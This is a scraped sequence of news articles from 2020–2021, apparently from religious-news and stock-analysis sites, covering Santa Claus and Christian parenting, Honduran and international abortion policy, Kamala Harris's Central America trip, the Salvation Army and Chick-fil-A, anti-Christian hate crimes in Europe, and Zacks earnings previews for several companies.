Anglo-Saxon tradition he then became Santa Claus, but certainly not the Santa Claus created by Coca-Cola. I wanted to explain that a consumer culture such as that of gifts is different from a culture of gift which is at the basis of the true message of Christmas, he added. Baby Jesus was born to give himself to the whole of humanity. There has been much discussion about how Christian parents should approach the secular celebration of Santa Claus during the Christmas season. Many parents decide to jump in with both feet on the Santa fun, while others give the Santa topic a complete stiff-arm, Shane Pruitt, the director of next gen evangelism for the Southern Baptist Conventions North American Mission Board, wrote in a 2015 column published by The Christian Post. Pruitt suggested the Santa is Like Cinderella option, which involves explaining to kids that Santa is like Cinderella. He is not a real person, but he is fun to talk about, be entertained by, and see in art (movies, decorations, etc). This option allows them to know the truth and still participate in the fun. They dont have to sit out of any activities at school, can still have their pictures with Santa, can watch great movies and see Santa decorations without being confused by them, continued Pruitt. However, they still need to be sensitive of the others at school and church that have been told that Santa is real by their parents. Once again, its not my childs job to educate their peers about Santa. It is their own parents job. Honduras ratifies constitutional changes on abortion: 4 things to know Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Lawmakers in Honduras garnered national headlines last week when they voted to ratify a change to the national constitution that effectively bolsters the ban on abortion in the Latin American nation. The lawmakers overwhelmingly voted in favor of the amendment on Jan. 21, with a second ratification vote last Thursday solidifying what supporters call a Shield Against Abortion in Honduras. The unborn shall be considered as born for all rights accorded within the limits established by law, the amendment reads. Language was added to the amendment stating that it is prohibited and illegal for the mother or a third party to practice any form of interruption of life on the unborn, whose life must be respected from conception. Because of the ratified changes, Congress's voting threshold to change abortion law in Honduras raises from two-thirds to three-quarters. "As a woman and a mother, I am in favor of life and against abortion, I want to speak on behalf of those who are in the mother's womb and cannot be opposed," Gloria Bonilla, a deputy for the Liberal Party who voted in favor of the change, said in a statement. 1 2 3 4 5 Next Kamala Harris tells migrants do not come'; Guatemala pres. criticizes Biden admin.'s approach Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Vice President Kamala Harris received pushback from within her own party after she encouraged migrants not to come to the United States illegally during her travel to Guatemala and Mexico this week to address the southern border crisis after being appointed border czar in March. At a joint press conference in Guatemala City, Harris emphasized that the "goal of our work is to help Guatemalans find hope at home." "At the same time, I want to be clear to folks in this region who are thinking about making the dangerous trek to the United States-Mexico border do not come, do not come," Harris said. The vice president assured that the U.S. will enforce laws and secure the border. "There are legal methods by which migration can and should occur, but we, as one of our priorities, will discourage illegal migration. And I believe if you come to our border, you will be turned back, Harris continued. "So let's discourage our friends, our neighbors, our family members from embarking on what is otherwise an extremely dangerous journey where, in large part, the only people who benefit are coyotes." Guatemala President Alejandro Giammattei told "Face The Nation" Sunday that the increased border crossings have been caused partly by the changing of administrations. He admitted that he and Harris are not on the same side of the coin. "The message changed to, 'We are going to reunite families, and we are going to reunite children," Giammattei said. "The very next day, the coyotes were here organizing groups of children to take them to the United States. We asked the United States government to send more of a clear message to prevent people from leaving." Rep. Alexandria Ocasio-Cortez, D-N.Y., one of the most liberal members of Congress, tweeted that Harris speech was disappointing." "First, seeking asylum at any US border is a 100% legal method of arrival," Ocasio-Cortez wrote. "Second, the US spent decades contributing to regime change and destabilization in Latin America. We cant help set someones house on fire and then blame them for fleeing." The trip marked Harris first diplomatic trip to address the border, and she is yet to visit the U.S. southern border as vice president. On Tuesday, Harris met with Andres Manuel Lopez Obrador, the populist president of Mexico who has been critical of the Biden administrations immigration policies, USA Today reported. Harris said the root causes of the border situation are poverty, economic instability, and Central Americas extreme weather. The vice president's office said the U.S. will have a multi-pronged approach to immigration at the southern border, addressing climate change, food insecurity, violence and corruption, Fox News reported. Harris was welcomed to Guatemala on Sunday with signs that read, Kamala Go Home, Kamala Mind Your own Business, and Trump Won, according to Fox News. "We're not against Kamala Harris's diplomatic visit, but rather her interference and blackmail in return for aid," a group of 20 activists calling themselves Society In Action said in a protest with the Veterans' Association outside the Air Force of Guatemala, El Faro English reported. Republican National Committee Hispanic Communications Director Jaime Florez criticized Harris' failure to visit the U.S.-Mexico border. "Instead of addressing firsthand the human costs of the disastrous Biden administration border policies, Kamala is yet again ignoring the millions of Americans affected," Florez said in a statement. "Kamala's meetings in Mexico and Guatemala are about shifting blame away from the Biden administration, not solving the crisis she and Biden created. Republicans will continue to visit and meet with the residents, law enforcement officers, and elected officials along the southern border, putting the American people and our communities first." NBCs Lester Holt asked Harris about whether she plans to visit the border in an interview. Do you have any plans to visit the border? Holt asked her. At some point, Harris said as she threw her hands into the air. We are going to the border. Weve been to the border, so this whole thing about the border, weve been to the border. Weve been [to] the border, she said, referring to other Biden administration officials. You havent been to the border, Holt responded. And I havent been to Europe, Harris said as she laughed and appeared frustrated. I dont understand the point that youre making. Im not discounting the importance of the border I care about whats happening at the border. Cringe video. Over awkward laughs, Kamala Harris: Weve been to the border. Holt challenges that lie. Kamala and I havent been to Europe. Do we have an illegal migrant crisis on our border with Europe? pic.twitter.com/qsBxNbMs8a Steve Cortes (@CortesSteve) June 8, 2021 The surge of illegal immigrants crossing the U.S.-Mexico southern border in the fiscal year 2021 has surpassed the totals of every year since 2006 with four months left, according to preliminary Customs and Border Protection data seen by Axios. The U.S. formally ended the Trump-era remain in Mexico policy last week, which required Central American asylum-seekers to remain in Mexico and wait for their asylum cases to be adjudicated in the U.S., Reuters reported. The Biden administration reversed many of former President Donald Trumps immigration policies, including halting border wall construction, on day one. U.S. Border Control apprehensions at the southwestern border reached the highest monthly level in the last two decades between March and April of this year. Salvation Army responds to 'misinformation' about ministry, Chick-fil-A ending giving Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The Salvation Army is urging the public to seek the truth about who they are in light of Chick-fil-A's decision to restructure their philanthropic giving and end their multi-year funding commitments to the organization. In a statement posted to their website Monday, the charity known for their red buckets and bell ringers during the Christmas season in addition to their long history of serving the poor and homeless expressed their dismay that Chick-fil-A would no longer be funding them and stressed that helping those in need is their core mission. "We're saddened to learn that a corporate partner has felt it necessary to divert funding to other hunger, education and homelessness organizations areas in which The Salvation Army, as the largest social services provider in the world, is already fully committed," The Salvation Army said. "We serve more than 23 million individuals a year, including those in the LGBTQ+ community. In fact, we believe we are the largest provider of poverty relief to the LGBTQ+ population." Presently headquartered in Alexandria, Virginia outside Washington, D.C., the U.S. branch of the organization added that baseless assertions were being spread about who they are and what they do and that it hampers their ministry efforts. "When misinformation is perpetuated without fact, our ability to serve those in need, regardless of sexual orientation, gender identity, religion or any other factor is at risk," the group said. "We urge the public to seek the truth before rushing to ill-informed judgement and greatly appreciate those partners and donors who ensure that anyone who needs our help feels safe and comfortable to come through our doors." The SA statement comes amid a torrent of discontent from Christians who felt betrayed by what some called a gutless surrender to LGBT activists who have long disdained Chick-fil-A for their contributions to Christian groups that espouse orthodox views about marriage and sexuality. The fast-food chain told The Christian Post Monday that their goal was to donate to the most effective organizations in the areas of education, homelessness and hunger and that no organization, both faith-based and non-faith-based, will be excluded from future consideration. As a result of their restructuring, previous multi-year giving to groups like The Salvation Army, Fellowship of Christian Athletes, and the Paul Anderson Youth Home were coming to an end. Chick-fil-A also said that they would not be opening on Sundays, amid criticisms suggesting that they would continue to cave in other ways in pursuit of greater financial gain. CP reached out to Chick-fil-A Tuesday asking about groups that will be considered for philanthropic donations in the future, specifically if that includes organizations that publicly adhere to the Christian faith's historic teaching on sexual ethics. CP will update this article when a response is received. Writing on his blog Tuesday, Ethics & Religious Liberty Commission President Russell Moore opined that if indeed Chick-fil-A caved to cultural pressure then it was sad to see them do to ministries what other groups sought to do to them. "But, even if it is, a corporation is always going to disappoint as a moral model, regardless of whether that morality is left or right, Christian or secular. For our models, we need no franchised, culturally-approved outposts of finance, though we should be thankful when we see such occasionally," he said. Moore further added that he was going to wait for more information to emerge before he made a sharp judgment about Chick-fil-A's actions. Billy Hallowell, a journalist and the director of communications and content for PureFlix.com, noted that the press treatment of the events highlights how seemingly everything in society is centered around what people believe about LGBT-related issues. "The fact that the mainstream media has reduced the Salvation Army one of the most important humanitarian groups around to an 'anti-LGBTQ organization' tells us everything we need to know about our current culture," he commented Monday. Other critics of Chick-fil-A maintained that nothing will ever satisfy the demands of LGBT ideologues. Drew Anderson, director of campaigns for the Gay and Lesbian Alliance Against Defamation, released a statement in response to Chick-fil-A's redirecting of funding, saying that the chicken sandwich shop, despite the action, remained "anti-LGBTQ." "In addition to refraining from financially supporting anti-LGBTQ organizations, Chick-Fil-A still lacks policies to ensure safe workplaces for LGBTQ employees and should unequivocally speak out against the anti-LGBTQ reputation that their brand represents," he said. US, 31 other countries sign document declaring there is no international right to abortion Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The United States, along with 31 other countries, signed on Thursday a document declaring that there is no international right to abortion. The two-page Geneva Consensus Declaration on Protecting Womens Health and Strengthening the Family was cosponsored by the U.S., Brazil, Egypt, Hungary, Indonesia and Uganda. Because of the coronavirus pandemic, the signing of the document took place at a virtual multinational ceremony instead of at the World Health Assembly in Geneva, Switzerland, as originally scheduled. The other signatories to the Geneva Consensus Declaration were Bahrain, Belarus, Benin, Burkina Faso, Cameroon, the Democratic Republic of the Congo, Congo, Djibouti, Eswatini, The Gambia, Haiti, Iraq, Kenya, Kuwait, Libya, Nauru, Niger, Oman, Pakistan, Poland, Saudi Arabia, Senegal, South Sudan, Sudan, the United Arab Emirates and Zambia. While the Geneva Consensus Declaration touched upon several issues of importance to the international community, including universal healthcare as well as womens rights and equality, the signatories made their opposition to abortion clear. There is no international right to abortion, nor any international obligation on the part of States to finance or facilitate abortion, consistent with the long-standing international consensus that each nation has the sovereign right to implement programs and activities consistent with their laws and policies, the document explains. The Geneva Consensus Declaration reaffirms the inherent dignity and worth of the human person, that every human being has the inherent right to life, and the commitment to enable women to go safely through pregnancy and childbirth and provide couples with the best chance of having a healthy infant. The document frequently references the Universal Declaration of Human Rights, crafted by the United Nations General Assembly in 1948. It also emphasizes that in no case should abortion be promoted as a method of family planning and that any measures or changes related to abortion within the health system can only be determined at the national or local level according to the national legislative process. The consensus stresses that the child needs special safeguards and care before as well as after birth. Under President Trumps leadership, the United States has defended the dignity of human life everywhere and always. Hes done it like no other president in history, Secretary of State Mike Pompeo said at remarks delivered alongside U.S. Secretary of Health and Human Services Alex Azar shortly after the signing ceremony. Weve also mounted an unprecedented defense of the unborn abroad. Pompeo described the Geneva Consensus Declaration, which protects womens health, defends the unborn, and reiterates the vital importance of the family as the foundation of society, as the next step in the Trump administrations international pro-life efforts. In his remarks, Azar referred to the Declaration as much more than a statement of beliefs. He expressed disappointment that women around the world unnecessarily suffer health challengesall too often, deadly health challengeswhile too many wealthy nations and international institutions put a myopic focus on a radical agenda that is offensive to many cultures and derails agreement on womens health priorities. Today, we put down a clear marker: No longer can U.N. agencies reinterpret and misinterpret agreed-upon language without accountability. Member States set the policy for the U.N. to pursue. Not the other way around, he asserted. The Geneva Consensus Declaration comes a year after the Trump administration slammed the United Nations for undermining the role of the family and urged the supranational organization to remove pro-abortion language from some of its documents. Earlier this year, the administration chastised the U.N. for promoting abortion as part of the global response to the coronavirus pandemic. The push for abortion in the international community also extends to nongovernmental organizations. The human rights advocacy group Amnesty International recently updated its policy on abortion to express support for unrestricted abortion up until the moment of birth. Anti-Christian hate crimes in Europe rose 70% between 2019 and 2020, watchdog reports Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A new study from a Vienna-based watchdog organization suggests that anti-Christian hate crimes in Europe have increased by 70% between 2019 and 2020 amid rising concern about declining religious freedom across the continent. A new report this month from the Observatory on Intolerance Against Christians in Europe (OIDAC) focuses on how declining religious freedom, freedom of conscience and parental rights have impacted the liberties of European Christians. The document identifies increasing intolerance and discrimination against Christians from governments through legislation and political discourse. It also identifies intolerance from individuals through social exclusion and criminal acts. OIDAC notes that the Office for Democratic Institutions and Human Rights from the Organisation for Security and Cooperation in Europe published its annual hate crimes report in November, stating there were 981 anti-Christian hate crimes in Europe for 2020 compared to 578 in 2019. This meant an increase of 70% in anti-Christian hate crime since last year, the OIDAC report states. [O]ur numbers speak louder than our words. This is one of the reasons OIDAC was founded over ten years ago, because there was no other organisation reporting and raising awareness on this phenomenon in Europe. The study compiled over two years focuses on situations for Christians in five countries France, Germany, Spain, Sweden and the United Kingdom amid rising secular intolerance and Islamic oppression. These countries were selected because, according to our observations, Christians face the most difficulties in them, the report explains. The findings of the report are based on a variety of data we collected. The majority of our data is based on descriptive cases, an extensive questionnaire and in-depth interviews with experts and afflicted Christians. While hate crimes have a higher frequency in France and Germany, they tend to be more severe in Spain and France, the organization finds. The number of anti-Christian hate crimes in Germany is surprisingly high but not as severe as in other countries in this report, the report reads. The observed cases of violence in Germany are mainly perpetrated against Protestant and Catholic churches and Christian buildings. These include vandalism, looting, graffiti, and damage of property with a high and slightly increasing frequency in the last years. There have also been more severe cases that show a clear bias like physical assaults on priests, arson attacks and decapitated statues. OIDAC has documented 255 violent attacks against Christians or Christian sites between 2019 and 2020. In terms of legal prosecution for alleged hate speech, the U.K. has the highest number of cases. But the other countries have high rates of self-censorship, says the report. The right to conscientious objection has been under threat in Sweden, France and Spain. The absence of the conscience clause in Sweden is already affecting Christian professionals, and intentions to alter this clause in France and Spain could lead to a complete exclusion of Christians in certain professions, OIDAC warns. In the education sector, the organization warns that Christian university students perceive that they cannot debate certain topics freely or express their opinions without judgment or negative consequences, which leads to the crippling effects of self-censorship. The document also contends that various new sex and relationship education regulations are violating parental rights. In France and Spain, most of the attacks were on Catholics. And in Germany and the U.K., both Catholic and non-Catholic Christians have been targeted. OIDAC recorded 175 incidents against religious freedom in Spain during 2019, and 140 (80%) were targeted at Catholics. In 2020, 51 violent incidents against Christians were recorded compared to 30 cases in 2019. The watchdog says secular intolerance and Islamic oppression are two of the primary threatening dynamics impacting the lives of Christians in Europe in four main areas of life: church, education, politics and the workplace. We found that the area of church life is the most visibly affected due to an increasing number of hate crimes in most countries, but education, the workplace and politics are following shortly after, the report states. [W]hile secular intolerance is the driving dynamic in most of the cases and areas of life we observed, Islamic oppression mainly occurs in concentrated hotspot areas, in which Christian converts are the group that is mostly affected along with other residential Christians. The report argues that the opposition against conservative Christian moral views leads to secular intolerance. This polarization also appears to be promoted by sensationalist and religious-illiterate media that stigmatizes and marginalizes religious voices in the public debate, the report adds. Christian converts with a Muslim background are very vulnerable, the group says. Our data indicates that many of them face intolerance and violence from their social environment, and the danger they face is often ignored by state authorities. The report also contends that churches had their religious freedom denied and faced discrimination in Europe due to gathering restrictions related to the COVID-19 Pandemic. This happened either by the unjustified and disproportionate use of power by public officials (Spain) or through unproportionate blanket bans on public worship, downgrading it to a non-essential service, OIDAC details. Last July, the watchdog found that there had been about a 285% increase in the number of anti-Christian incidents reported in France over the previous decade-plus. The French government reported 275, what they call, anti-Christian acts [in 2008], the groups Executive Director Ellen Fantini told The Christian Post at the time. So that is anything from targeting a church in some way with vandalism or a public Christian statue, it could be a Christian cemetery or it could be actual assaults against French Christians with an anti-Christian bias. The market expects General Mills (GIS) to deliver a year-over-year decline in earnings on higher revenues when it reports results for the quarter ended November 2021. This widely-known consensus outlook is important in assessing the company's earnings picture, but a powerful factor that might influence its near-term stock price is how the actual results compare to these estimates. The stock might move higher if these key numbers top expectations in the upcoming earnings report, which is expected to be released on December 21. On the other hand, if they miss, the stock may move lower. While the sustainability of the immediate price change and future earnings expectations will mostly depend on management's discussion of business conditions on the earnings call, it's worth handicapping the probability of a positive EPS surprise. Zacks Consensus Estimate This maker of Cheerios cereal, Yoplait yogurt and other packaged foods is expected to post quarterly earnings of $1.05 per share in its upcoming report, which represents a year-over-year change of -0.9%. Revenues are expected to be $4.84 billion, up 2.5% from the year-ago quarter. Estimate Revisions Trend The consensus EPS estimate for the quarter has been revised 0.19% higher over the last 30 days to the current level. This is essentially a reflection of how the covering analysts have collectively reassessed their initial estimates over this period. Investors should keep in mind that the direction of estimate revisions by each of the covering analysts may not always get reflected in the aggregate change. Price, Consensus and EPS Surprise Earnings Whisper Estimate revisions ahead of a company's earnings release offer clues to the business conditions for the period whose results are coming out. Our proprietary surprise prediction model -- the Zacks Earnings ESP (Expected Surprise Prediction) -- has this insight at its core. The Zacks Earnings ESP compares the Most Accurate Estimate to the Zacks Consensus Estimate for the quarter; the Most Accurate Estimate is a more recent version of the Zacks Consensus EPS estimate. The idea here is that analysts revising their estimates right before an earnings release have the latest information, which could potentially be more accurate than what they and others contributing to the consensus had predicted earlier. Thus, a positive or negative Earnings ESP reading theoretically indicates the likely deviation of the actual earnings from the consensus estimate. However, the model's predictive power is significant for positive ESP readings only. A positive Earnings ESP is a strong predictor of an earnings beat, particularly when combined with a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold). Our research shows that stocks with this combination produce a positive surprise nearly 70% of the time, and a solid Zacks Rank actually increases the predictive power of Earnings ESP. Please note that a negative Earnings ESP reading is not indicative of an earnings miss. Our research shows that it is difficult to predict an earnings beat with any degree of confidence for stocks with negative Earnings ESP readings and/or Zacks Rank of 4 (Sell) or 5 (Strong Sell). How Have the Numbers Shaped Up for General Mills? For General Mills, the Most Accurate Estimate is lower than the Zacks Consensus Estimate, suggesting that analysts have recently become bearish on the company's earnings prospects. This has resulted in an Earnings ESP of -0.95%. On the other hand, the stock currently carries a Zacks Rank of #4. So, this combination makes it difficult to conclusively predict that General Mills will beat the consensus EPS estimate. Does Earnings Surprise History Hold Any Clue? Analysts often consider to what extent a company has been able to match consensus estimates in the past while calculating their estimates for its future earnings. So, it's worth taking a look at the surprise history for gauging its influence on the upcoming number. For the last reported quarter, it was expected that General Mills would post earnings of $0.88 per share when it actually produced earnings of $0.99, delivering a surprise of +12.50%. Over the last four quarters, the company has beaten consensus EPS estimates three times. Bottom Line An earnings beat or miss may not be the sole basis for a stock moving higher or lower. Many stocks end up losing ground despite an earnings beat due to other factors that disappoint investors. Similarly, unforeseen catalysts help a number of stocks gain despite an earnings miss. That said, betting on stocks that are expected to beat earnings expectations does increase the odds of success. This is why it's worth checking a company's Earnings ESP and Zacks Rank ahead of its quarterly release. Make sure to utilize our Earnings ESP Filter to uncover the best stocks to buy or sell before they've reported. General Mills doesn't appear a compelling earnings-beat candidate. However, investors should pay attention to other factors too for betting on this stock or staying away from it ahead of its earnings release. Infrastructure Stock Boom to Sweep America A massive push to rebuild the crumbling U.S. infrastructure will soon be underway. Its bipartisan, urgent, and inevitable. Trillions will be spent. Fortunes will be made. The only question is Will you get into the right stocks early when their growth potential is greatest? Zacks has released a Special Report to help you do just that, and today its free. Discover 5 special companies that look to gain the most from construction and repair to roads, bridges, and buildings, plus cargo hauling and energy transformation on an almost unimaginable scale. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report General Mills, Inc. (GIS): Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Copyright 2021 Entrepreneur.com Inc., All rights reserved Blackstone Inc. (BX) closed the most recent trading day at $126.71, moving -1.78% from the previous trading session. This change lagged the S&P 500's 0.75% loss on the day. At the same time, the Dow lost 0.3%, and the tech-heavy Nasdaq lost 0.23%. Heading into today, shares of the investment manager had lost 9.66% over the past month, lagging the Finance sector's loss of 3.61% and the S&P 500's loss of 0.13% in that time. Investors will be hoping for strength from Blackstone Inc. as it approaches its next earnings release. The company is expected to report EPS of $1.30, up 15.04% from the prior-year quarter. Our most recent consensus estimate is calling for quarterly revenue of $3.01 billion, up 7.45% from the year-ago period. For the full year, our Zacks Consensus Estimates are projecting earnings of $4.35 per share and revenue of $10.22 billion, which would represent changes of +64.15% and +56.85%, respectively, from the prior year. Any recent changes to analyst estimates for Blackstone Inc. should also be noted by investors. These revisions typically reflect the latest short-term business trends, which can change frequently. As a result, we can interpret positive estimate revisions as a good sign for the company's business outlook. Research indicates that these estimate revisions are directly correlated with near-term share price momentum. To benefit from this, we have developed the Zacks Rank, a proprietary model which takes these estimate changes into account and provides an actionable rating system. Ranging from #1 (Strong Buy) to #5 (Strong Sell), the Zacks Rank system has a proven, outside-audited track record of outperformance, with #1 stocks returning an average of +25% annually since 1988. Within the past 30 days, our consensus EPS projection remained stagnant. Blackstone Inc. is holding a Zacks Rank of #1 (Strong Buy) right now. Investors should also note Blackstone Inc.'s current valuation metrics, including its Forward P/E ratio of 29.69. For comparison, its industry has an average Forward P/E of 11.52, which means Blackstone Inc. is trading at a premium to the group. Investors should also note that BX has a PEG ratio of 1.18 right now. This popular metric is similar to the widely-known P/E ratio, with the difference being that the PEG ratio also takes into account the company's expected earnings growth rate. The Financial - Miscellaneous Services was holding an average PEG ratio of 0.86 at yesterday's closing price. The Financial - Miscellaneous Services industry is part of the Finance sector. This industry currently has a Zacks Industry Rank of 111, which puts it in the top 44% of all 250+ industries. The Zacks Industry Rank gauges the strength of our individual industry groups by measuring the average Zacks Rank of the individual stocks within the groups. Our research shows that the top 50% rated industries outperform the bottom half by a factor of 2 to 1. To follow BX in the coming trading sessions, be sure to utilize Zacks.com. Infrastructure Stock Boom to Sweep America A massive push to rebuild the crumbling U.S. infrastructure will soon be underway. Its bipartisan, urgent, and inevitable. Trillions will be spent. Fortunes will be made. The only question is Will you get into the right stocks early when their growth potential is greatest? Zacks has released a Special Report to help you do just that, and today its free. Discover 5 special companies that look to gain the most from construction and repair to roads, bridges, and buildings, plus cargo hauling and energy transformation on an almost unimaginable scale. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Blackstone Inc. (BX): Free Stock Analysis Report To read this article on Zacks.com click here. Copyright 2021 Entrepreneur.com Inc., All rights reserved Delta Air Lines (DAL) closed the most recent trading day at $36.53, moving -0.92% from the previous trading session. This change lagged the S&P 500's daily loss of 0.75%. Meanwhile, the Dow lost 0.3%, and the Nasdaq, a tech-heavy index, lost 0.23%. Prior to today's trading, shares of the airline had lost 13% over the past month. This has lagged the Transportation sector's loss of 3.62% and the S&P 500's loss of 0.13% in that time. Delta Air Lines will be looking to display strength as it nears its next earnings release. In that report, analysts expect Delta Air Lines to post earnings of -$0.26 per share. This would mark year-over-year growth of 89.72%. Meanwhile, the Zacks Consensus Estimate for revenue is projecting net sales of $8.79 billion, up 121.25% from the year-ago period. For the full year, our Zacks Consensus Estimates are projecting earnings of -$4.62 per share and revenue of $28.99 billion, which would represent changes of +57.06% and +69.6%, respectively, from the prior year. It is also important to note the recent changes to analyst estimates for Delta Air Lines. These revisions typically reflect the latest short-term business trends, which can change frequently. As such, positive estimate revisions reflect analyst optimism about the company's business and profitability. Our research shows that these estimate changes are directly correlated with near-term stock prices. Investors can capitalize on this by using the Zacks Rank. This model considers these estimate changes and provides a simple, actionable rating system. Ranging from #1 (Strong Buy) to #5 (Strong Sell), the Zacks Rank system has a proven, outside-audited track record of outperformance, with #1 stocks returning an average of +25% annually since 1988. Over the past month, the Zacks Consensus EPS estimate has moved 0.06% higher. Delta Air Lines is currently sporting a Zacks Rank of #3 (Hold). The Transportation - Airline industry is part of the Transportation sector. This industry currently has a Zacks Industry Rank of 226, which puts it in the bottom 12% of all 250+ industries. The Zacks Industry Rank gauges the strength of our individual industry groups by measuring the average Zacks Rank of the individual stocks within the groups. Our research shows that the top 50% rated industries outperform the bottom half by a factor of 2 to 1. To follow DAL in the coming trading sessions, be sure to utilize Zacks.com. Infrastructure Stock Boom to Sweep America A massive push to rebuild the crumbling U.S. infrastructure will soon be underway. Its bipartisan, urgent, and inevitable. Trillions will be spent. Fortunes will be made. The only question is Will you get into the right stocks early when their growth potential is greatest? Zacks has released a Special Report to help you do just that, and today its free. Discover 5 special companies that look to gain the most from construction and repair to roads, bridges, and buildings, plus cargo hauling and energy transformation on an almost unimaginable scale. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Delta Air Lines, Inc. (DAL): Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Copyright 2021 Entrepreneur.com Inc., All rights reserved Growth investors focus on stocks that are seeing above-average financial growth, as this feature helps these securities garner the market's attention and deliver solid returns. However, it isn't easy to find a great growth stock. By their very nature, these stocks carry above-average risk and volatility. Moreover, if a company's growth story is over or nearing its end, betting on it could lead to significant loss. However, the Zacks Growth Style Score (part of the Zacks Style Scores system), which looks beyond the traditional growth attributes to analyze a company's real growth prospects, makes it pretty easy to find cutting-edge growth stocks. Louisiana-Pacific (LPX) is one such stock that our proprietary system currently recommends. The company not only has a favorable Growth Score, but also carries a top Zacks Rank. Studies have shown that stocks with the best growth features consistently outperform the market. And returns are even better for stocks that possess the combination of a Growth Score of A or B and a Zacks Rank #1 (Strong Buy) or 2 (Buy). Here are three of the most important factors that make the stock of this home construction supplier a great growth pick right now. Earnings Growth Earnings growth is arguably the most important factor, as stocks exhibiting exceptionally surging profit levels tend to attract the attention of most investors. And for growth investors, double-digit earnings growth is definitely preferable, and often an indication of strong prospects (and stock price gains) for the company under consideration. While the historical EPS growth rate for Louisiana-Pacific is 30%, investors should actually focus on the projected growth. The company's EPS is expected to grow 212.1% this year, crushing the industry average, which calls for EPS growth of 108.3%. Cash Flow Growth While cash is the lifeblood of any business, higher-than-average cash flow growth is more important and beneficial for growth-oriented companies than for mature companies. That's because, growth in cash flow enables these companies to expand their businesses without depending on expensive outside funds. Right now, year-over-year cash flow growth for Louisiana-Pacific is 253%, which is higher than many of its peers. In fact, the rate compares to the industry average of 29.1%. While investors should actually consider the current cash flow growth, it's worth taking a look at the historical rate too for putting the current reading into proper perspective. The company's annualized cash flow growth rate has been 60.4% over the past 3-5 years versus the industry average of 23.3%. Promising Earnings Estimate Revisions Superiority of a stock in terms of the metrics outlined above can be further validated by looking at the trend in earnings estimate revisions. A positive trend is of course favorable here. Empirical research shows that there is a strong correlation between trends in earnings estimate revisions and near-term stock price movements. The current-year earnings estimates for Louisiana-Pacific have been revising upward. The Zacks Consensus Estimate for the current year has surged 0.4% over the past month. Bottom Line Louisiana-Pacific has not only earned a Growth Score of A based on a number of factors, including the ones discussed above, but it also carries a Zacks Rank #1 because of the positive earnings estimate revisions. You can see the complete list of today's Zacks #1 Rank (Strong Buy) stocks here. This combination indicates that Louisiana-Pacific is a potential outperformer and a solid choice for growth investors. Infrastructure Stock Boom to Sweep America A massive push to rebuild the crumbling U.S. infrastructure will soon be underway. Its bipartisan, urgent, and inevitable. Trillions will be spent. Fortunes will be made. The only question is Will you get into the right stocks early when their growth potential is greatest? Zacks has released a Special Report to help you do just that, and today its free. Discover 5 special companies that look to gain the most from construction and repair to roads, bridges, and buildings, plus cargo hauling and energy transformation on an almost unimaginable scale. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report LouisianaPacific Corporation (LPX): Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Copyright 2021 Entrepreneur.com Inc., All rights reserved Chicago, IL December 15, 2021 Zacks.com announces the list of stocks featured in the Analyst Blog. Every day the Zacks Equity Research analysts discuss the latest news and events impacting stocks and the financial markets. Stocks recently featured in the blog include: BP plc BP, Royal Dutch Shell plc ( RDS.A ), Exxon Mobil Corporation XOM, ConocoPhillips COP and Cenovus Energy Inc. CVE. Here are highlights from Tuesdays Analyst Blog: Oil & Gas Stock Roundup: BP, Shell and More It was a week when oil prices rose above $70 once again but natural gas futures registered further decline. London-based oil major BP agreed to snap up U.S. electric vehicle charging provider Amply Power, why continental rival Royal Dutch Shell announced hydrocarbon discovery in the deepwater Gulf of Mexico. News related to ExxonMobil, ConocoPhillips and Cenovus Energy also made it to the top stories. Overall, it was a mixed seven-day period for the sector. West Texas Intermediate (WTI) crude futures gained 8.2% to close at $71.67 per barrel but natural gas prices lost around 5% to end at $3.925 per million British thermal units (MMBtu). In particular, the oil market reversed its decline from the previous six weeks. Coming back to the week ended Dec 10, oil prices bounced back as fears of a slowdown in demand recovery from the Omicron variant subsided with the strain likely to be less deadly than expected as available vaccines might be effective in neutralizing it. Meanwhile, natural gas notched another weekly loss, hurt by weather forecasts indicating above-normal temperatures over most of the country in the coming days. Recap of the Weeks Most-Important Stories 1. BP announced that it acquired Amply Power for an undisclosed amount as part of plans to help the world reach net-zero emissions by 2050. The transaction represents the British energy behemoth's first major foray into the electric vehicle ("EV") charging space in the United States, one of the largest automotive markets globally. Amply Power is an EV charging and energy infrastructure provider for fleets, which operate trucks, transit and school buses, vans, and light-duty vehicles. Per the terms of the deal, Amply Power will continue operating independently as part of BP's business portfolio. BP is planning to accelerate electrification in the fleet segment, which is crucial to reducing emissions from the transport sector. In 2019, emissions from the transport sector accounted for nearly 29% of total U.S. greenhouse gas emissions, making it the largest contributor to greenhouse gas emissions in the United States. 2. A subsidiary of Royal Dutch Shell recently made a major oil discovery at the Blacktip North prospect in the Alaminos Canyon block 336 in the deep-water U.S. Gulf of Mexico (GoM). At multiple stages, the Blacktip North Well encountered more than 300 feet (91 meters) of net oil pay and an assessment is underway to further determine development options. Blacktip North is run by Shell, with a stake of 89.49%. It is located about 30 miles northeast of the Whale discovery, 4.5 miles northeast of the recently reviewed Blacktip discovery and 42 miles from the Perdido host. The discovery well was drilled at a water depth of 8,443 meters by Transoceans ultra-deepwater drillship Deepwater Poseidon. Shell's Deepwater executive vice president Paul Goodfellow believes that the Blacktip North potential is the most recent example of fresh resources being discovered in Shell's lucrative corridors. The Perdido Corridor, for example, is at the center of value creation in the Gulf of Mexico and represents an opportunity to utilize Europes largest oil companys existing infrastructure to unlock the full value potential of its finds. (Shell Hits Oil in Gulf of Mexico's Blacktip North Prospect) 3 ExxonMobil announced plans to achieve net-zero emissions from operated assets in the Permian Basin by 2030. Energy companies have been under immense pressure due to the growing urgency from investors and environmentalists to curb climate change. ExxonMobil's latest initiative is part of a company-wide effort to reduce upstream greenhouse gas emissions intensity by 40-50% by 2030 from the 2016 levels. The move will expand 